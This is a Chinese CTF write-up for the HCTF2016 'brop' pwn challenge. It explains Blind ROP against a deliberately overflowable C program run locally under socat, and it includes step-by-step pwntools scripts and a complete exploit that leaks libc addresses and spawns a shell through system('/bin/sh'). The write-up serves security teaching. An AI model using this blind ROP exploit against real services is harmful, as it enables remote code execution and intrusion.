> For the complete documentation index, see [llms.txt](https://firmianay.gitbook.io/ctf-all-in-one/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.1_pwn_hctf2016_brop.md).

# 6.1.1 pwn HCTF2016 brop

* [题目复现](#题目复现)
* [BROP 原理及题目解析](#brop-原理及题目解析)
* [漏洞利用](#漏洞利用)
* [参考资料](#参考资料)

[下载文件](https://github.com/firmianay/CTF-All-In-One/blob/master/src/writeup/6.1.1_pwn_hctf2016_brop)

## 题目复现

出题人在 github 上开源了代码，[出题人失踪了](https://github.com/zh-explorer/hctf2016-brop)。如下：

```
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int i;
int check();

int main(void) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    puts("WelCome my friend,Do you know password?");
        if(!check()) {
            puts("Do not dump my memory");
        } else {
            puts("No password, no game");
        }
}

int check() {
    char buf[50];
    read(STDIN_FILENO, buf, 1024);
    return strcmp(buf, "aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}
```

使用下面的语句编译，然后运行起来：

```
$ gcc -z noexecstack -fno-stack-protector -no-pie brop.c
```

checksec 如下：

```
$ checksec -f a.out
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY  Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No       0               2       a.out
```

由于 socat 在程序崩溃时会断开连接，我们写一个小脚本，让程序在崩溃后立即重启，这样就模拟出了远程环境 `127.0.0.1:10001`：

```bash
#!/bin/sh
while true; do
        num=`ps -ef | grep "socat" | grep -v "grep" | wc -l`
        if [ $num -lt 5 ]; then
                socat tcp4-listen:10001,reuseaddr,fork exec:./a.out &
        fi
done
```

在一个单独的 shell 中运行它，这样我们就简单模拟出了比赛时的环境，即仅提供 ip 和端口。（不停地断开重连特别耗CPU，建议在服务器上跑）

## BROP 原理及题目解析

BROP 即 Blind ROP，需要我们在无法获得二进制文件的情况下，通过 ROP 进行远程攻击，劫持该应用程序的控制流，可用于开启了 ASLR、NX 和栈 canary 的 64-bit Linux。这一概念是是在 2014 年提出的，论文和幻灯片在参考资料中。

实现这一攻击有两个必要条件：

1. 目标程序存在一个栈溢出漏洞，并且我们知道怎样去触发它
2. 目标进程在崩溃后会立即重启，并且重启后进程被加载的地址不变，这样即使目标机器开启了 ASLR 也没有影响。

下面我们结合题目来讲一讲。

## 漏洞利用

### 栈溢出

首先是要找到栈溢出的漏洞，老办法从 1 个字符开始，暴力枚举，直到它崩溃。

```python
def get_buffer_size():
    for i in range(100):
        payload  = "A"
        payload += "A"*i
        buf_size = len(payload) - 1
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.send(payload)
            p.recv()
            p.close()
            log.info("bad: %d" % buf_size)
        except EOFError as e:
            p.close()
            log.info("buffer size: %d" % buf_size)
            return buf_size
```

```
[*] buffer size: 72
```

要注意的是，崩溃意味着我们覆盖到了返回地址，所以缓冲区应该是发送的字符数减一，即 buf(64)+ebp(8)=72。该题并没有开启 canary，所以跳过爆破的过程。

### stop gadget

在寻找通用 gadget 之前，我们需要一个 stop gadget。一般情况下，当我们把返回地址覆盖后，程序有很大的几率会挂掉，因为所覆盖的地址可能并不是合法的，所以我们需要一个能够使程序正常返回的地址，称作 stop gadget，这一步至关重要。stop gadget 可能不止一个，这里我们之间返回找到的第一个好了：

```python
def get_stop_addr(buf_size):
    addr = 0x400000
    while True:
        sleep(0.1)
        addr += 1
        payload  = "A"*buf_size
        payload += p64(addr)
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.sendline(payload)
            p.recvline()
            p.close()
            log.info("stop address: 0x%x" % addr)
            return addr
        except EOFError as e:
            p.close()
            log.info("bad: 0x%x" % addr)
        except:
            log.info("Can't connect")
            addr -= 1
```

由于我们在本地的守护脚本略简陋，在程序挂掉和重新启动之间存在一定的时间差，所以这里 `sleep(0.1)` 做一定的缓冲，如果还是冲突，在 `except` 进行处理，后面的代码也一样。

```
[*] stop address: 0x4005e5
```

### common gadget

有了 stop gadget，那些原本会导致程序崩溃的地址还是一样会导致崩溃，但那些正常返回的地址则会通过 stop gadget 进入被挂起的状态。下面我们就可以寻找其他可利用的 gadget，由于是 64 位程序，可以考虑使用通用 gadget（有关该内容请参见章节4.7）：

```python
def get_gadgets_addr(buf_size, stop_addr):
    addr = stop_addr
    while True:
        sleep(0.1)
        addr += 1
        payload  = "A"*buf_size
        payload += p64(addr)
        payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
        payload += p64(stop_addr)
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.sendline(payload)
            p.recvline()
            p.close()
            log.info("find address: 0x%x" % addr)
            try:    # check
                payload  = "A"*buf_size
                payload += p64(addr)
                payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)

                p = remote('127.0.0.1', 10001)
                p.recvline()
                p.sendline(payload)
                p.recvline()
                p.close()
                log.info("bad address: 0x%x" % addr)
            except:
                p.close()
                log.info("gadget address: 0x%x" % addr)
                return addr
        except EOFError as e:
            p.close()
            log.info("bad: 0x%x" % addr)
        except:
            log.info("Can't connect")
            addr -= 1
```

直接从 stop gadget 的地方开始搜索就可以了。另外，找到一个正常返回的地址之后，需要进行检查，以确定是它确实是通用 gadget。

```
[*] gadget address: 0x40082a
```

有了通用 gadget，就可以得到 `pop rdi; ret` 的地址了，即 gadget address + 9。

### puts\@plt

plt 表具有比较规整的结构，每一个表项都是 16 字节，而在每个表项的 6 字节偏移处，是该表项对应函数的解析路径，所以先得到 plt 地址，然后 dump 出内存，就可以找到 got 地址。

这里我们使用 puts 函数来 dump 内存，比起 write，它只需要一个参数，很方便：

```python
def get_puts_plt(buf_size, stop_addr, gadgets_addr):
    pop_rdi = gadgets_addr + 9      # pop rdi; ret;
    addr = stop_addr
    while True:
        sleep(0.1)
        addr += 1

        payload  = "A"*buf_size
        payload += p64(pop_rdi)
        payload += p64(0x400000)
        payload += p64(addr)
        payload += p64(stop_addr)
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.sendline(payload)
            if p.recv().startswith("\x7fELF"):
                log.info("puts@plt address: 0x%x" % addr)
                p.close()
                return addr
            log.info("bad: 0x%x" % addr)
            p.close()
        except EOFError as e:
            p.close()
            log.info("bad: 0x%x" % addr)
        except:
            log.info("Can't connect")
            addr -= 1
```

这里让 puts 打印出 `0x400000` 地址处的内容，因为这里通常是程序头的位置（关闭PIE），且前四个字符为 `\x7fELF`，方便进行验证。

```
[*] puts@plt address: 0x4005e7
```

成功找到一个地址，它确实调用 puts，打印出了 `\x7fELF`，那它真的就是 puts\@plt 的地址吗，不一定，看一下呗，反正我们有二进制文件。

```
gdb-peda$ disassemble /r 0x4005f0
Dump of assembler code for function puts@plt:
   0x00000000004005f0 <+0>:     ff 25 22 0a 20 00       jmp    QWORD PTR [rip+0x200a22]        # 0x601018
   0x00000000004005f6 <+6>:     68 00 00 00 00  push   0x0
   0x00000000004005fb <+11>:    e9 e0 ff ff ff  jmp    0x4005e0
End of assembler dump.
```

不对呀，puts\@plt 明明是在 `0x4005f0`，那么 `0x4005e7` 是什么鬼。

```
gdb-peda$ pdisass /r 0x4005e7,0x400600
Dump of assembler code from 0x4005e7 to 0x400600:
   0x00000000004005e7:  25 24 0a 20 00  and    eax,0x200a24
   0x00000000004005ec:  0f 1f 40 00     nop    DWORD PTR [rax+0x0]
   0x00000000004005f0 <puts@plt+0>:     ff 25 22 0a 20 00       jmp    QWORD PTR [rip+0x200a22]        # 0x601018
   0x00000000004005f6 <puts@plt+6>:     68 00 00 00 00  push   0x0
   0x00000000004005fb <puts@plt+11>:    e9 e0 ff ff ff  jmp    0x4005e0
End of assembler dump.
```

原来是由于反汇编时候的偏移，导致了这个问题，当然了前两句对后面的 puts 语句并没有什么影响，忽略它，在后面的代码中继续使用 `0x4005e7`。

### remote dump

有了 puts，有了 gadget，就可以着手 dump 程序了：

```python
def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
    pop_rdi  = gadgets_addr + 9     # pop rdi; ret

    result = ""
    while start_addr < end_addr:
        #print result.encode('hex')
        sleep(0.1)
        payload  = "A"*buf_size
        payload += p64(pop_rdi)
        payload += p64(start_addr)
        payload += p64(puts_plt)
        payload += p64(stop_addr)
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.sendline(payload)
            data = p.recv(timeout=0.1)      # timeout makes sure to recive all bytes
            if data == "\n":
                data = "\x00"
            elif data[-1] == "\n":
                data = data[:-1]
            log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
            result += data
            start_addr += len(data)
            p.close()
        except:
            log.info("Can't connect")
    return result
```

我们知道 puts 函数通过 `\x00` 进行截断，并且会在每一次输出末尾加上换行符 `\x0a`，所以有一些特殊情况需要做一些处理，比如单独的 `\x00`、`\x0a` 等，首先当然是先去掉末尾 puts 自动加上的 ，然后如果 recv 到一个 ，说明内存中是 `\x00`，如果 recv 到一个 `\n`，说明内存中是 `\x0a`。`p.recv(timeout=0.1)` 是由于函数本身的设定，如果有 `\n`，它很可能在收到第一个  时就返回了，加上参数可以让它全部接收完。

这里选择从 `0x400000` dump到 `0x401000`，足够了，你还可以 dump 下 data 段的数据，大概从 `0x600000` 开始。

### puts\@got

拿到 dump 下来的文件，使用 Radare2 打开，使用参数 `-B` 指定程序基地址，然后反汇编 `puts@plt` 的位置 `0x4005e7`，当然你要直接反汇编 `0x4005f0` 也行：

```
$ r2 -B 0x400000 code.bin
[0x00400630]> pd 14 @ 0x4005e7
     ::::   0x004005e7      25240a2000     and eax, 0x200a24
     ::::   0x004005ec      0f1f4000       nop dword [rax]
     ::::   0x004005f0      ff25220a2000   jmp qword [0x00601018]      ; [0x601018:8]=-1
     ::::   0x004005f6      6800000000     push 0
     `====< 0x004005fb      e9e0ffffff     jmp 0x4005e0
      :::   0x00400600      ff251a0a2000   jmp qword [0x00601020]      ; [0x601020:8]=-1
      :::   0x00400606      6801000000     push 1                      ; 1
      `===< 0x0040060b      e9d0ffffff     jmp 0x4005e0
       ::   0x00400610      ff25120a2000   jmp qword [0x00601028]      ; [0x601028:8]=-1
       ::   0x00400616      6802000000     push 2                      ; 2
       `==< 0x0040061b      e9c0ffffff     jmp 0x4005e0
        :   0x00400620      ff250a0a2000   jmp qword [0x00601030]      ; [0x601030:8]=-1
        :   0x00400626      6803000000     push 3                      ; 3
        `=< 0x0040062b      e9b0ffffff     jmp 0x4005e0
```

于是我们就得到了 puts\@got 地址 `0x00601018`。可以看到该表中还有其他几个函数，根据程序的功能大概可以猜到，无非就是 setbuf、read 之类的，在后面的过程中如果实在无法确定 libc，这些信息可能会有用。

### attack

后面的过程和无 libc 的利用差不多了，先使用 puts 打印出其在内存中的地址，然后在 libc-database 里查找相应的 libc，也就是目标机器上的 libc，通过偏移计算出 `system()` 函数和字符串 `/bin/sh` 的地址，构造 payload 就可以了。

```python
def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got):
    pop_rdi  = gadgets_addr + 9

    payload  = "A"*buf_size
    payload += p64(pop_rdi)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(stop_addr)

    p = remote('127.0.0.1', 10001)
    p.recvline()
    p.sendline(payload)
    data = p.recvline()
    data = u64(data[:-1] + '\x00\x00')
    log.info("puts address: 0x%x" % data)
    p.close()

    return data
```

```
[*] puts address: 0x7ffff7a90210
```

这里插一下 [libc-database](https://github.com/niklasb/libc-database) 的用法，由于我本地的 libc 版本比较新，可能未收录，就直接将它添加进去好了：

```
$ ./add /usr/lib/libc-2.26.so
Adding local libc /usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570  /usr/lib/libc-2.26.so)
  -> Writing libc to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.so
  -> Writing symbols to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.symbols
  -> Writing version info
```

然后查询（ASLR 并不影响后 12 位的值）：

```
$ ./find puts 210
/usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570)
$ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570
offset___libc_start_main_ret = 0x20f6a
offset_system = 0x0000000000042010
offset_dup2 = 0x00000000000e8100
offset_read = 0x00000000000e7820
offset_write = 0x00000000000e78c0
offset_str_bin_sh = 0x17aff5
$ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts
offset_puts = 0x000000000006f210
```

```python
offset_puts   = 0x000000000006f210
offset_system = 0x0000000000042010
offset_str_bin_sh = 0x17aff5

system_addr = (puts_addr - offset_puts) + offset_system
binsh_addr  = (puts_addr - offset_puts) + offset_str_bin_sh

# get shell
payload  = "A"*buf_size
payload += p64(gadgets_addr + 9)    # pop rdi; ret;
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(stop_addr)

p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.interactive()
```

Bingo!!!

```
$ python2 exp.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ whoami
firmy
```

### exploit

完整的 exp 如下：

```python
from pwn import *

#context.log_level = 'debug'

def get_buffer_size():
    for i in range(100):
        payload  = "A"
        payload += "A"*i
        buf_size = len(payload) - 1
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.send(payload)
            p.recv()
            p.close()
            log.info("bad: %d" % buf_size)
        except EOFError as e:
            p.close()
            log.info("buffer size: %d" % buf_size)
            return buf_size

def get_stop_addr(buf_size):
    addr = 0x400000
    while True:
        sleep(0.1)
        addr += 1
        payload  = "A"*buf_size
        payload += p64(addr)
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.sendline(payload)
            p.recvline()
            p.close()
            log.info("stop address: 0x%x" % addr)
            return addr
        except EOFError as e:
            p.close()
            log.info("bad: 0x%x" % addr)
        except:
            log.info("Can't connect")
            addr -= 1

def get_gadgets_addr(buf_size, stop_addr):
    addr = stop_addr
    while True:
        sleep(0.1)
        addr += 1
        payload  = "A"*buf_size
        payload += p64(addr)
        payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
        payload += p64(stop_addr)
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.sendline(payload)
            p.recvline()
            p.close()
            log.info("find address: 0x%x" % addr)
            try:    # check
                payload  = "A"*buf_size
                payload += p64(addr)
                payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)

                p = remote('127.0.0.1', 10001)
                p.recvline()
                p.sendline(payload)
                p.recvline()
                p.close()
                log.info("bad address: 0x%x" % addr)
            except:
                p.close()
                log.info("gadget address: 0x%x" % addr)
                return addr
        except EOFError as e:
            p.close()
            log.info("bad: 0x%x" % addr)
        except:
            log.info("Can't connect")
            addr -= 1

def get_puts_plt(buf_size, stop_addr, gadgets_addr):
    pop_rdi = gadgets_addr + 9      # pop rdi; ret;
    addr = stop_addr
    while True:
        sleep(0.1)
        addr += 1

        payload  = "A"*buf_size
        payload += p64(pop_rdi)
        payload += p64(0x400000)
        payload += p64(addr)
        payload += p64(stop_addr)
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.sendline(payload)
            if p.recv().startswith("\x7fELF"):
                log.info("puts@plt address: 0x%x" % addr)
                p.close()
                return addr
            log.info("bad: 0x%x" % addr)
            p.close()
        except EOFError as e:
            p.close()
            log.info("bad: 0x%x" % addr)
        except:
            log.info("Can't connect")
            addr -= 1

def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
    pop_rdi  = gadgets_addr + 9     # pop rdi; ret

    result = ""
    while start_addr < end_addr:
        #print result.encode('hex')
        sleep(0.1)
        payload  = "A"*buf_size
        payload += p64(pop_rdi)
        payload += p64(start_addr)
        payload += p64(puts_plt)
        payload += p64(stop_addr)
        try:
            p = remote('127.0.0.1', 10001)
            p.recvline()
            p.sendline(payload)
            data = p.recv(timeout=0.1)      # timeout makes sure to recive all bytes
            if data == "\n":
                data = "\x00"
            elif data[-1] == "\n":
                data = data[:-1]
            log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
            result += data
            start_addr += len(data)
            p.close()
        except:
            log.info("Can't connect")
    return result

def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got):
    pop_rdi  = gadgets_addr + 9

    payload  = "A"*buf_size
    payload += p64(pop_rdi)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(stop_addr)

    p = remote('127.0.0.1', 10001)
    p.recvline()
    p.sendline(payload)
    data = p.recvline()
    data = u64(data[:-1] + '\x00\x00')
    log.info("puts address: 0x%x" % data)
    p.close()

    return data

#buf_size = get_buffer_size()
buf_size = 72

#stop_addr = get_stop_addr(buf_size)
stop_addr = 0x4005e5

#gadgets_addr = get_gadgets_addr(buf_size, stop_addr)
gadgets_addr = 0x40082a

#puts_plt = get_puts_plt(buf_size, stop_addr, gadgets_addr)
puts_plt = 0x4005e7     # fake puts
#puts_plt = 0x4005f0    # true puts

# dump code section from memory
# and then use Radare2 or IDA Pro to find the got address
#start_addr = 0x400000
#end_addr   = 0x401000
#code_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
#with open('code.bin', 'wb') as f:
#   f.write(code_bin)
#   f.close()
puts_got = 0x00601018

# you can also dump data from memory and get information from .got
#start_addr = 0x600000
#end_addr   = 0x602000
#data_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
#with open('data.bin', 'wb') as f:
#    f.write(data_bin)
#    f.close()

# must close ASLR
#puts_addr = get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got)
puts_addr = 0x7ffff7a90210

# first add your own libc into libc-database: $ ./add /usr/lib/libc-2.26.so
# $ ./find puts 0x7ffff7a90210
# or $ ./find puts 210
# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570
# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts
# then you can get the following offset
offset_puts   = 0x000000000006f210
offset_system = 0x0000000000042010
offset_str_bin_sh = 0x17aff5

system_addr = (puts_addr - offset_puts) + offset_system
binsh_addr  = (puts_addr - offset_puts) + offset_str_bin_sh

# get shell
payload  = "A"*buf_size
payload += p64(gadgets_addr + 9)    # pop rdi; ret;
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(stop_addr)

p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.interactive()
```

## 参考资料

* [Blind Return Oriented Programming (BROP)](http://www.scs.stanford.edu/brop/)
* [Blind Return Oriented Programming (BROP) Attack (1)](http://ytliu.info/blog/2014/05/31/blind-return-oriented-programming-brop-attack-yi/)
